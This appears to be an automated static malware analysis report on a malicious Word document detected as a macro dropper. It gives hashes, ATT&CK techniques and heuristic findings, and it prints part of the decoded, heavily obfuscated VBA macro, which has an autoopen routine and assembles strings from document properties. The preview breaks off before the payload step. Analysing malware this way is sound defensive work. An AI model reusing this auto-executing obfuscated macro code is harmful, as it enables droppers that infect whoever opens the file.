Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 568d1cf50ac97c98…

MALICIOUS

Office (OLE)

70.0 KB Created: 2017-08-17 20:24:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: 9c4c3234f20b6102569216675b48c70a SHA-1: 4f1befecc8a466e9b2cd4b588957c567aab30618 SHA-256: 568d1cf50ac97c983b0ae9d2741a2c1454e7219829ad78b0e8de67f4312b90ea
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon opening the document. The heuristic firings indicate the use of CreateObject and p-code execution, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection as 'Doc.Dropper.Agent-6335671-0' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15407 bytes
SHA-256: 12ea0ccb6ba0a47a2b3a1532732a037d118928b0f168bc453bd442b7ad61a91e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function tfRLsptfRLsptfRLsptfRLsptfRLsp(ByVal UPNyYUPNyYUPNyYUPNyYUPNyY As String, ByVal DxRHksDxRHksDxRHksDxRHksDxRHks As Variant) As Boolean
xrCdHwxrCdHwxrCdHwxrCdHwxrCdHw = "UFNhCUFNhCUFNhCUFNhCUFNhC" + "PzVkCPzVkCPzVkCPzVkCPzVkC" = "YnrNbYnrNbYnrNbYnrNbYnrNb"
xrCdHwxrCdHwxrCdHwxrCdHwxrCdHw = "UFNhCUFNhCUFNhCUFNhCUFNhC" + "PzVkCPzVkCPzVkCPzVkCPzVkC" = "YnrNbYnrNbYnrNbYnrNbYnrNb"
For Each YzLAaYzLAaYzLAaYzLAaYzLAa In DxRHksDxRHksDxRHksDxRHksDxRHks
    If YzLAaYzLAaYzLAaYzLAaYzLAa = UPNyYUPNyYUPNyYUPNyYUPNyY Then
        tfRLsptfRLsptfRLsptfRLsptfRLsp = True
        Exit Function
    End If
    xrCdHwxrCdHwxrCdHwxrCdHwxrCdHw = "UFNhCUFNhCUFNhCUFNhCUFNhC" + "PzVkCPzVkCPzVkCPzVkCPzVkC" = "YnrNbYnrNbYnrNbYnrNbYnrNb"
Next YzLAaYzLAaYzLAaYzLAaYzLAa
xrCdHwxrCdHwxrCdHwxrCdHwxrCdHw = "UFNhCUFNhCUFNhCUFNhCUFNhC" + "PzVkCPzVkCPzVkCPzVkCPzVkC" = "YnrNbYnrNbYnrNbYnrNbYnrNb"
End Function

Sub autoopen()
MVUwbWMVUwbWMVUwbWMVUwbWMVUwbW
End Sub
Public Function PEguGZPEguGZPEguGZPEguGZPEguGZ(MEpbwMEpbwMEpbwMEpbwMEpbw)
GMaLEMGMaLEMGMaLEMGMaLEMGMaLEM = "KcbMcSKcbMcSKcbMcSKcbMcSKcbMcS"
yfCZCyfCZCyfCZCyfCZCyfCZC = "aBmnhCaBmnhCaBmnhCaBmnhCaBmnhC" + "yNNaZyNNaZyNNaZyNNaZyNNaZ" = "TXrsKrTXrsKrTXrsKrTXrsKrTXrsKr"
PEguGZPEguGZPEguGZPEguGZPEguGZ = ActiveDocument.CustomDocumentProperties(MEpbwMEpbwMEpbwMEpbwMEpbw)
CyWNfTCyWNfTCyWNfTCyWNfTCyWNfT = "hsCWShsCWShsCWShsCWShsCWS"
araAcFaraAcFaraAcFaraAcFaraAcF = "FbNXDwFbNXDwFbNXDwFbNXDwFbNXDw" + "MRYpyXMRYpyXMRYpyXMRYpyXMRYpyX" = "fstdEMfstdEMfstdEMfstdEMfstdEM"
AvySEAvySEAvySEAvySEAvySE = "kYtcXkYtcXkYtcXkYtcXkYtcX"
htyLwhtyLwhtyLwhtyLwhtyLw = "DYhGSDYhGSDYhGSDYhGSDYhGS" + "fRRtHwfRRtHwfRRtHwfRRtHwfRRtHw" = "LFsCfLFsCfLFsCfLFsCfLFsCf"
End Function
Public Function dyFwNxdyFwNxdyFwNxdyFwNxdyFwNx()
TYmhBfTYmhBfTYmhBfTYmhBfTYmhBf = PEguGZPEguGZPEguGZPEguGZPEguGZ("kLpzEkLpzEkLpzEkLpzEkLpzE") + PEguGZPEguGZPEguGZPEguGZPEguGZ("FFgbEFFgbEFFgbEFFgbEFFgbE") + PEguGZPEguGZPEguGZPEguGZPEguGZ("AsUDwAsUDwAsUDwAsUDwAsUDw") + PEguGZPEguGZPEguGZPEguGZPEguGZ("XZdUbcXZdUbcXZdUbcXZdUbcXZdUbc")
cFgRkfcFgRkfcFgRkfcFgRkfcFgRkf = "VUTPkVUTPkVUTPkVUTPkVUTPk"
sxHsAsxHsAsxHsAsxHsAsxHsA = "ACEpKRACEpKRACEpKRACEpKRACEpKR" + "upeKyupeKyupeKyupeKyupeKy" = "LDeLbLDeLbLDeLbLDeLbLDeLb"
YCreUVYCreUVYCreUVYCreUVYCreUV = "mBUrHSmBUrHSmBUrHSmBUrHSmBUrHS"
xuXzcBxuXzcBxuXzcBxuXzcBxuXzcB = "deMHkdeMHkdeMHkdeMHkdeMHk" + "FfLsumFfLsumFfLsumFfLsumFfLsum" = "GGcvpGGcvpGGcvpGGcvpGGcvp"
ndnNexndnNexndnNexndnNexndnNex = PEguGZPEguGZPEguGZPEguGZPEguGZ("ZkSyNZkSyNZkSyNZkSyNZkSyN") + PEguGZPEguGZPEguGZPEguGZPEguGZ("vVduZvVduZvVduZvVduZvVduZ") + PEguGZPEguGZPEguGZPEguGZPEguGZ("EgNzCMEgNzCMEgNzCMEgNzCMEgNzCM") + PEguGZPEguGZPEguGZPEguGZPEguGZ("dvbSYdvbSYdvbSYdvbSYdvbSY") + PEguGZPEguGZPEguGZPEguGZPEguGZ("mFCSKUmFCSKUmFCSKUmFCSKUmFCSKU")
gmAAamgmAAamgmAAamgmAAamgmAAam = ndnNexndnNexndnNexndnNexndnNex + XYcSFgXYcSFgXYcSFgXYcSFgXYcSFg + PDzfBPDzfBPDzfBPDzfBPDzfB + TYmhBfTYmhBfTYmhBfTYmhBfTYmhBf
ZRkBnkZRkBnkZRkBnkZRkBnkZRkBnk = "AcPspLAcPspLAcPspLAcPspLAcPspL"
RnpZHRnpZHRnpZHRnpZHRnpZH = "bwNGdRbwNGdRbwNGdRbwNGdRbwNGdR" + "xUSEYxUSEYxUSEYxUSEYxUSEY" = "KLhXsKLhXsKLhXsKLhXsKLhXs"
HKbzZHKbzZHKbzZHKbzZHKbzZ = "NzPefyNzPefyNzPefyNzPefyNzPefy"
NwULXNwULXNwULXNwULXNwULX = "aneCeaneCeaneCeaneCeaneCe" + "cwPYAcwPYAcwPYAcwPYAcwPYA" = "uUaDcuUaDcuUaDcuUaDcuUaDc"
GBfaXFGBfaXFGBfaXFGBfaXFGBfaXF = "HLxKHzHLxKHzHLxKHzHLxKHzHLxKHz"
hZyACvhZyACvhZyACvhZyACvhZyACv = "sSwKmsSwKmsSwKmsSwKmsSwKm" + "ecUNNgecUNNgecUNNgecUNNgecUNNg" = "khYCvmkhYCvmkhYCvmkhYCvmkhYCvm"
dyFwNxdyFwNxdyFwNxdyFwNxdyFwNx = gmAAamgmAAamgmAAamgmAAamgmAAam + ActiveDocument.BuiltInDocumentProperties("Comments") + XYcSFgXYcSFgXYcSFgXYcSFgXYcSFg + PDzfBPDzfBPDzfBPDzfBPDzfB + hzdUfFhzdUfFhzdUfFhzdUfFhzdUfF
End Function
Public Function zwhyzzwhyzzwhyzzwhyzzw
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.